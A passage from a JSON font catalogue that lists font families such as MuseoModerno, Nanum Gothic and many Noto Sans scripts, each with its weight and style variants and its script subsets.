900"}],"subsets":[{"id":"cyrillic","name":"Cyrillic"},{"id":"cyrillic-ext","name":"Cyrillic Extended"},{"id":"greek","name":"Greek"},{"id":"japanese","name":"Japanese"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"MuseoModerno":{"variants":[{"id":"100","name":"Ultra-Light 100"},{"id":"200","name":"Light 200"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"800","name":"Extra-Bold 800"},{"id":"900","name":"Ultra-Bold 900"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"My Soul":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Mystery Quest":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"NTR":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"telugu","name":"Telugu"}]},"Nanum Brush Script":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"korean","name":"Korean"},{"id":"latin","name":"Latin"}]},"Nanum Gothic":{"variants":[{"id":"400","name":"Normal 400"},{"id":"700","name":"Bold 700"},{"id":"800","name":"Extra-Bold 800"}],"subsets":[{"id":"korean","name":"Korean"},{"id":"latin","name":"Latin"}]},"Nanum Gothic Coding":{"variants":[{"id":"400","name":"Normal 400"},{"id":"700","name":"Bold 700"}],"subsets":[{"id":"korean","name":"Korean"},{"id":"latin","name":"Latin"}]},"Nanum Myeongjo":{"variants":[{"id":"400","name":"Normal 400"},{"id":"700","name":"Bold 700"},{"id":"800","name":"Extra-Bold 800"}],"subsets":[{"id":"korean","name":"Korean"},{"id":"latin","name":"Latin"}]},"Nanum Pen Script":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"korean","name":"Korean"},{"id":"latin","name":"Latin"}]},"Neonderthaw":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Nerko One":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Neucha":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"cyrillic","name":"Cyrillic"},{"id":"latin","name":"Latin"}]},"Neuton":{"variants":[{"id":"200","name":"Light 200"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"700","name":"Bold 700"},{"id":"800","name":"Extra-Bold 800"},{"id":"400italic","name":"Normal 400 Italic"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"New Rocker":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"New Tegomin":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"japanese","name":"Japanese"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"News Cycle":{"variants":[{"id":"400","name":"Normal 400"},{"id":"700","name":"Bold 700"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Newsreader":{"variants":[{"id":"200","name":"Light 200"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"800","name":"Extra-Bold 800"},{"id":"200italic","name":"Light 200 Italic"},{"id":"300italic","name":"Book 300 Italic"},{"id":"400italic","name":"Normal 400 Italic"},{"id":"500italic","name":"Medium 500 Italic"},{"id":"600italic","name":"Semi-Bold 600 Italic"},{"id":"700italic","name":"Bold 700 Italic"},{"id":"800italic","name":"Extra-Bold 800 Italic"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Niconne":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Niramit":{"variants":[{"id":"200","name":"Light 200"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"200italic","name":"Light 200 Italic"},{"id":"300italic","name":"Book 300 Italic"},{"id":"400italic","name":"Normal 400 Italic"},{"id":"500italic","name":"Medium 500 Italic"},{"id":"600italic","name":"Semi-Bold 600 Italic"},{"id":"700italic","name":"Bold 700 Italic"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"thai","name":"Thai"},{"id":"vietnamese","name":"Vietnamese"}]},"Nixie One":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"}]},"Nobile":{"variants":[{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"700","name":"Bold 700"},{"id":"400italic","name":"Normal 400 Italic"},{"id":"500italic","name":"Medium 500 Italic"},{"id":"700italic","name":"Bold 700 Italic"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Nokora":{"variants":[{"id":"100","name":"Ultra-Light 100"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"700","name":"Bold 700"},{"id":"900","name":"Ultra-Bold 900"}],"subsets":[{"id":"khmer","name":"Khmer"},{"id":"latin","name":"Latin"}]},"Norican":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Nosifer":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Notable":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"}]},"Nothing You Could Do":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"}]},"Noticia Text":{"variants":[{"id":"400","name":"Normal 400"},{"id":"700","name":"Bold 700"},{"id":"400italic","name":"Normal 400 Italic"},{"id":"700italic","name":"Bold 700 Italic"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Noto Emoji":{"variants":[{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"}],"subsets":[{"id":"emoji","name":"Emoji"}]},"Noto Kufi Arabic":{"variants":[{"id":"100","name":"Ultra-Light 100"},{"id":"200","name":"Light 200"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"800","name":"Extra-Bold 800"},{"id":"900","name":"Ultra-Bold 900"}],"subsets":[{"id":"arabic","name":"Arabic"}]},"Noto Music":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"music","name":"Music"}]},"Noto Naskh Arabic":{"variants":[{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"}],"subsets":[{"id":"arabic","name":"Arabic"}]},"Noto Nastaliq Urdu":{"variants":[{"id":"400","name":"Normal 400"},{"id":"700","name":"Bold 700"}],"subsets":[{"id":"arabic","name":"Arabic"}]},"Noto Rashi Hebrew":{"variants":[{"id":"100","name":"Ultra-Light 100"},{"id":"200","name":"Light 200"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"800","name":"Extra-Bold 800"},{"id":"900","name":"Ultra-Bold 900"}],"subsets":[{"id":"hebrew","name":"Hebrew"}]},"Noto Sans":{"variants":[{"id":"100","name":"Ultra-Light 100"},{"id":"200","name":"Light 200"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"800","name":"Extra-Bold 800"},{"id":"900","name":"Ultra-Bold 900"},{"id":"100italic","name":"Ultra-Light 100 Italic"},{"id":"200italic","name":"Light 200 Italic"},{"id":"300italic","name":"Book 300 Italic"},{"id":"400italic","name":"Normal 400 Italic"},{"id":"500italic","name":"Medium 500 Italic"},{"id":"600italic","name":"Semi-Bold 600 Italic"},{"id":"700italic","name":"Bold 700 Italic"},{"id":"800italic","name":"Extra-Bold 800 Italic"},{"id":"900italic","name":"Ultra-Bold 900 Italic"}],"subsets":[{"id":"cyrillic","name":"Cyrillic"},{"id":"cyrillic-ext","name":"Cyrillic Extended"},{"id":"devanagari","name":"Devanagari"},{"id":"greek","name":"Greek"},{"id":"greek-ext","name":"Greek Extended"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Noto Sans Adlam":{"variants":[{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"}],"subsets":[{"id":"adlam","name":"Adlam"}]},"Noto Sans Adlam Unjoined":{"variants":[{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"}],"subsets":[{"id":"adlam","name":"Adlam"}]},"Noto Sans Anatolian Hieroglyphs":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"anatolian-hieroglyphs","name":"Anatolian-hieroglyphs"}]},"Noto Sans Arabic":{"variants":[{"id":"100","name":"Ultra-Light 100"},{"id":"200","name":"Light 200"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"800","name":"Extra-Bold 800"},{"id":"900","name":"Ultra-Bold 900"}],"subsets":[{"id":"arabic","name":"Arabic"}]},"Noto Sans Armenian":{"variants":[{"id":"100","name":"Ultra-Light 100"},{"id":"200","name":"Light 200"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"800","name":"Extra-Bold 800"},{"id":"900","name":"Ultra-Bold 900"}],"subsets":[{"id":"armenian","name":"Armenian"}]},"Noto Sans Avestan":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"avestan","name":"Avestan"}]},"Noto Sans Balinese":{"variants":[{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"}],"subsets":[{"id":"balinese","name":"Balinese"}]},"Noto Sans Bamum":{"variants":[{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"}],"subsets":[{"id":"bamum","name":"Bamum"}]},"Noto Sans Bassa Vah":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"bassa-vah","name":"Bassa-vah"}]},"Noto Sans Batak":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"batak","name":"Batak"}]},"Noto Sans Bengali":{"variants":[{"id":"100","name":"Ultra-Light 100"},{"id":"200","name":"Light 200"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"800","name":"Extra-Bold 800"},{"id":"900","name":"Ultra-Bold 900"}],"subsets":[{"id":"bengali","name":"Bengali"}]},"Noto Sans Bhaiksuki":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"bhaiksuki","name":"Bhaiksuki"}]},"Noto Sans Brahmi":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"brahmi","name":"Brahmi"}]},"Noto Sans Buginese":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"buginese","name":"Buginese"}]},"Noto Sans Buhid":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"buhid","name":"Buhid"}]},"Noto Sans Canadian Aboriginal":{"variants":[{"id":"100","name":"Ultra-Light 100"},{"id":"200","name":"Light 200"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"800","name":"Extra-Bold 800"},{"id":"900","name":"Ultra-Bold 900"}],"subsets":[{"id":"canadian-aboriginal","name":"Canadian-aboriginal"}]},"Noto Sans Carian":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"carian","name":"Carian"}]},"Noto Sans Caucasian Albanian":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"caucasian-albanian","name":"Caucasian-albanian"}]},"Noto Sans Chakma":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"chakma","name":"Chakma"}]},"Noto Sans Cham":{"variants":[{"id":"100","name":"Ultra-Light 100"},{"id":"200","name":"Light 200"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"800","name":"Extra-Bold 800"},{"id":"900","name":"Ultra-Bold 900"}],"subsets":[{"id":"cham","name":"Cham"}]},"Noto Sans Cherokee":{"variants":[{"id":"100","name":"Ultra-Light 100"},{"id":"200","name":"Light 200"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"800","name":"Extra-Bold 800"},{"id":"900","name":"Ultra-Bold 900"}],"subsets":[{"id":"cherokee","name":"Cherokee"}]},"Noto Sans Coptic":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"coptic","name":"Coptic"}]},"Noto Sans Cuneiform":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"cuneiform","name":"Cuneiform"}]},"Noto Sans Cypriot":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"cypriot","name":"Cypriot"}]},"Noto Sans Deseret":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"deseret","name":"Deseret"}]},"Noto Sans Devanagari":{"variants":[{"id":"100","name":"Ultra-Light 100"},{"id":"200","name":"Light 200"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"800","name":"Extra-Bold 800"},{"id":"900","name":"Ultra-Bold 900"}],"subsets":[{"id":"devanagari","name":"Devanagari"}]},"Noto Sans Display":{"variants":[{"id":"100","name":"Ultra-Light 100"},{"id":"200","name":"Light 200"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"800","name":"Extra-Bold 800"},{"id":"900","name":"Ultra-Bold 900"},{"id":"100italic","name":"Ultra-Light 100 Italic"},{"id":"200italic","name":"Light 200 Italic"},{"id":"300italic","name":"Book 300 Italic"},{"id":"400italic","name":"Normal 400 Italic"},{"id":"500italic","name":"Medium 500 Italic"},{"id":"600italic","name":"Semi-Bold 600 Italic"},{"id":"700italic","name":"Bold 700 Italic"},{"id":"800italic","name":"Extra-Bold 800 Italic"},{"id":"900italic","name":"Ultra-Bold 900 Italic"}],"subsets":[{"id":"cyrillic","name":"Cyrillic"},{"id":"cyrillic-ext","name":"Cyrillic Extended"},{"id":"greek","name":"Greek"},{"id":"greek-ext","name":"Greek Extended"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Noto Sans Duployan":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"duployan","name":"Duployan"}]},"Noto Sans Egyptian Hieroglyphs":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"egyptian-hieroglyphs","name":"Egyptian-hieroglyphs"}]},"Noto Sans Elbasan":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"elbasan","name":"Elbasan"}]},"Noto Sans Elymaic":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"elymaic","name":"Elymaic"}]},"Noto Sans Georgian":{"variants":[{"id":"100","name":"Ultra-Light 100"},{"id":"200","name":"Light 200"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"800","name":"Extra-Bold 800"},{"id":"900","name":"Ultra-Bold 900"}],"subsets":[{"id":"georgian","name":"Georgian"}]},"Noto Sans Glagolitic":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"glagolitic","name":"Glagolitic"}]},"Noto Sans Gothic":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"gothic","name":"Gothic"}]},"Noto Sans Grantha":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"grantha","name":"Grantha"}]},"Noto Sans Gujarati":{"variants":[{"id":"100","name":"Ultra-Light 100"},{"id":"200","name":"Light 200"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"800","name":"Extra-Bold 800"},{"id":"900","name":"Ultra-Bold 900"}],"subsets":[{"id":"gujarati","name":"Gujarati"}]},"Noto Sans Gunjala Gondi":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"gunjala-gondi","name":"Gunjala-gondi"}]},"Noto Sans Gurmukhi":{"variants":[{"id":"100","name":"Ultra-Light 100"},{"id":"200","name":"Light 200"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"800","name":"Extra-Bold 800"},{"id":"900","name":"Ultra-Bold 900"}],"subsets":[{"id":"gurmukhi","name":"Gurmukhi"}]},"Noto Sans HK":{"variants":[{"id":"100","name":"Ultra-Light 100"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"700","name":"Bold 700"},{"id":"900","name":"Ultra-Bold 900"}],"subsets":[{"id":"chinese-hongkong","name":"Chinese-hongkong"},{"id":"latin","name":"Latin"}]},"Noto Sans Hanifi Rohingya":{"variants":[{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"}],"subsets":[{"id":"hanifi-rohingya","name":"Hanifi-rohingya"}]},"Noto Sans Hanunoo":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"hanunoo","name":"Hanunoo"}]},"Noto Sans Hatran":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"hatran","name":"Hatran"}]},"Noto Sans Hebrew":{"variants":[{"id":"100","name":"Ultra-Light 100"},{"id":"200","name":"Light 200"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"800","name":"Extra-Bold 800"},{"id":"900","name":"Ultra-Bold 900"}],"subsets":[{"id":"hebrew","name":"Hebrew"}]},"Noto Sans Imperial Aramaic":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"imperial-aramaic","name":"Imperial-aramaic"}]},"Noto Sans Indic Siyaq Numbers":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"indic-siyaq-numbers","name":"Indic-siyaq-numbers"}]},"Noto Sans Inscriptional Pahlavi":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"inscriptional-pahlavi","name":"Inscriptional-pahlavi"}]},"Noto Sans Inscriptional Parthian":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"inscriptional-parthian","name":"Inscriptional-parthian"}]},"Noto Sans JP":{"variants":[{"id":"100","name":"Ultra-Light 100"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"700","name":"Bold 700"},{"id":"900","name":"Ultra-Bold 900"}],"subsets":[{"id":"japanese","name":"Japanese"},{"id":"latin","name":"Latin"}]},"Noto Sans Javanese":{"variants":[{"id":"400","name":"Normal 400"},{"id":"700","name":"Bold 700"}],"subsets":[{"id":"javanese","name":"Javanese"}]},"Noto Sans KR":{"variants":[{"id":"100","name":"Ultra-Light 100"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"700","name":"Bold 700"},{"id":"900","name":"Ultra-Bold 900"}],"subsets":[{"id":"korean","name":"Korean"},{"id":"latin","name":"Latin"}]},"Noto Sans Kaithi":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"kaithi","name":"Kaithi"}]},"Noto Sans Kannada":{"variants":[{"id":"100","name":"Ultra-Light 100"},{"id":"200","name":"Light 200"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"800","name":"Extra-Bold 800"},{"id":"900","name":"Ultra-Bold 900"}],"subsets":[{"id":"kannada","name":"Kannada"}]},"Noto Sans Kayah Li":{"variants":[{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"}],"subsets":[{"id":"kayah-li","name":"Kayah-li"}]},"Noto Sans Kharoshthi":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"kharoshthi","name":"Kharoshthi"}]},"Noto Sans Khmer":{"variants":[{"id":"100","name":"Ultra-Light 100"},{"id":"200","name":"Light 200"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"800","name":"Extra-Bold 800"},{"id":"900","name":"Ultra-Bold 900"}],"subsets":[{"id":"khmer","name":"Khmer"}]},"Noto Sans Khojki":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"khojki","name":"Khojki"}]},"Noto Sans Khudawadi":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"khudawadi","name":"Khudawadi"}]},"Noto Sans Lao":{"variants":[{"id":"100","name":"Ultra-Light 100"},{"id":"200","name":"Light 200"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"800","name":"Extra-Bold 800"},{"id":"900","name":"Ultra-Bold 900"}],"subsets":[{"id":"lao","name":"Lao"}]},"Noto Sans Lepcha":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"lepcha","name":"Lepcha"}]},"Noto Sans Limbu":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"limbu","name":"Limbu"}]},"Noto Sans Linear A":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"linear-a","name":"Linear-a"}]},"Noto Sans Linear B":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"linear-b","name":"Linear-b"}]},"Noto Sans Lisu":{"variants":[{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"}],"subsets":[{"id":"lisu","name":"Lisu"}]},"Noto Sans Lycian":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"lycian","name":"Lycian"}]},"Noto Sans Lydian":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"lydian","name":"Lydian"}]},"Noto Sans Mahajani":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"mahajani","name":"Mahajani"}]},"Noto Sans Malayalam":{"variants":[{"id":"100","name":"Ultra-Light 100"},{"id":"200","name":"Light 200"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"800","name":"Extra-Bold 800"},{"id":"900","name":"Ultra-Bold 900"}],"subsets":[{"id":"malayalam","name":"Malayalam"}]},"Noto Sans Mandaic":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"mandaic","name":"Mandaic"}]},"Noto Sans Manichaean":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"manichaean","name":"Manichaean"}]},"Noto Sans Marchen":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"marchen","name":"Marchen"}]},"Noto Sans Masaram Gondi":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"masaram-gondi","name":"Masaram-gondi"}]},"Noto Sans Math":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"math","name":"Math"}]},"Noto Sans Mayan Numerals":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"mayan-numerals","name":"Mayan-numerals"}]},"Noto Sans Medefaidrin":{"variants":[{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"}],"subsets":[{"id":"medefaidrin","name":"Medefaidrin"}]},"Noto Sans Meetei Mayek":{"variants":[{"id":"100","name":"Ultra-Light 100"},{"id":"200","name":"Light 200"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"800","name":"Extra-Bold 800"},{"id":"900","name":"Ultra-Bold 900"}],"subsets":[{"id":"meetei-mayek","name":"Meetei-mayek"}]},"Noto Sans Meroitic":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"meroitic","name":"Meroitic"}]},"Noto Sans Miao":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"miao","name":"Miao"}]},"Noto Sans Modi":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"modi","name":"Modi"}]},"Noto Sans Mongolian":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"mongolian","name":"Mongolian"}]},"Noto Sans Mono":{"variants":[{"id":"100","name":"Ultra-Light 100"},{"id":"200","name":"Light 200"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"800","name":"Extra-Bold 800"},{"id":"900","name":"Ultra-Bold 900"}],"subsets":[{"id":"cyrillic","name":"Cyrillic"},{"id":"cyrillic-ext","name":"Cyrillic Extended"},{"id":"greek","name":"Greek"},{"id":"greek-ext","name":"Greek Extended"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Noto Sans Mro":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"mro","name":"Mro"}]},"Noto Sans Multani":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"multani","name":"Multani"}]},"Noto Sans Myanmar":{"variants":[{"id":"100","name":"Ultra-Light 100"},{"id":"200","name":"Light 200"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"800","name":"Extra-Bold 800"},{"id":"900","name":"Ultra-Bold 900"}],"subsets":[{"id":"myanmar","name":"Myanmar"}]},"Noto Sans N Ko":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"nko","name":"Nko"}]},"Noto Sans Nabataean":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"nabataean","name":"Nabataean"}]},"Noto Sans New Tai Lue":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"new-tai-lue","name":"New-tai-lue"}]},"Noto Sans Newa":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"newa","name":"Newa"}]},"Noto Sans Nushu":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"nushu","name":"Nushu"}]},"Noto Sans Ogham":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"ogham","name":"Ogham"}]},"Noto Sans Ol Chiki":{"variants":[{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"}],"subsets":[{"id":"ol-chiki","name":"Ol-chiki"}]},"Noto Sans Old Hungarian":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"old-hungarian","name":"Old-hungarian"}]},"Noto Sans 